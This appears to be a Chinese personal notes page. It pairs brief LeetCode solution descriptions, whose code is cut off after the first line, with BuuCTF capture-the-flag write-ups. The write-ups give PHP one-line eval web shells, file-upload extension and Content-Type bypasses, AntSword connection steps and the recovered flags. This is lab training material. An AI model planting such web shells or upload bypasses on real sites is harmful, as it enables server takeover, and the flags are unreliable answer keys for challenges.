LeetCode
多数元素
找出给定整数数组中的主要元素。
函数接收一个整数数组nums作为参数。首先获取数组的长度s,然后对数组进行排序。由于主要元素是出现次数超过数组长度一半的元素,因此排序后数组的中间元素一定是主要元素。所以函数返回排序后数组的中间元素nums[s/2]。整个函数的时间复杂度取决于排序算法的复杂度,一般情况下为O(nlogn),其中n为数组nums的长度。
1 | class Solution { |
2的幂
判断一个数是否为2的幂。
函数中首先将输入的整数n赋值给变量m,然后进行循环判断。在循环中,如果m为0,则返回false;如果m能被2整除或者等于1,则将m除以2继续循环;否则返回false。最后返回true。该函数的时间复杂度取决于输入的整数n的大小,最坏情况下为O(logn)。
1 | class Solution { |
有效的字母异同位
判断两个字符串是否为异位词。
函数中首先定义了两个长度为26的数组s1和s2,用于记录字符串s和t中各个字符出现的次数。然后分别遍历字符串s和t,统计每个字符出现的次数,并存储在对应的数组中。最后比较两个数组中每个位置上的值,如果有不同的情况则返回false,否则返回true。整个函数的时间复杂度为O(n),其中n为字符串s和t的长度。
1 | class Solution { |
BuuCTF
12、Knife
使用蚁剑,安装教程渗透工具:蚁剑教学 (安装+入门) - 知乎 (zhihu.com)
构造payload:/?<?php eval($_POST["Syc"]);?>
打开蚁剑添加数据
URL地址为:http://1c5dc4d2-1605-4b89-99ba-90068b6d2182.node4.buuoj.cn:81/index.php
密码为:Syc
测试连接,连接成功,再点击添加
右键单击,选择文件管理
查看根目录,发现有个flag
双击查看,得到flag
1 | flag{1248bbb7-c099-4589-a699-63d87c2ec2d3} |
13、Upload
创建一个木马文件
可绕过的后缀名检测:php,php3,php4,php5,phtml.pht
上传该文件,显示Not image!
抓包,修改Content-Type
的内容为 image/jpeg
,send,查看文件名后缀应为.phtml
使用蚁剑
URL地址为:/upload/a.phtml
连接密码为:a
测试连接,连接成功后添加
右键单击,文件管理,查看根目录,找到flag
双击查看flag
1 | flag{34c3fd89-3b0b-450b-9953-287122b67247} |
14、Upload
上传一句话木马<?php eval($_POST[a]);?>
,修改后缀名为.jpg
抓包,显示上传成功
使用蚁剑连接,URL地址为:http://458e3dd3-d7c3-41c5-b4cd-06727f565048.node4.buuoj.cn:81/./uplo4d/394659692a460258b45a99f1424ea357.jpg
连接密码为:a
尝试一下,测试连接显示返回数据为空
尝试修改后缀名为.phtml
使用蚁剑连接,URL地址为:http://458e3dd3-d7c3-41c5-b4cd-06727f565048.node4.buuoj.cn:81/./uplo4d/71056c0c9cb12f2b7d720156da9eabf1.phtml
连接密码为:a
测试连接,连接成功 后添加
右键单击,文件管理
在根目录中找到flag
双击查看flag
1 | flag{8337ba06-02fe-47b4-8563-e341d08b19fe} |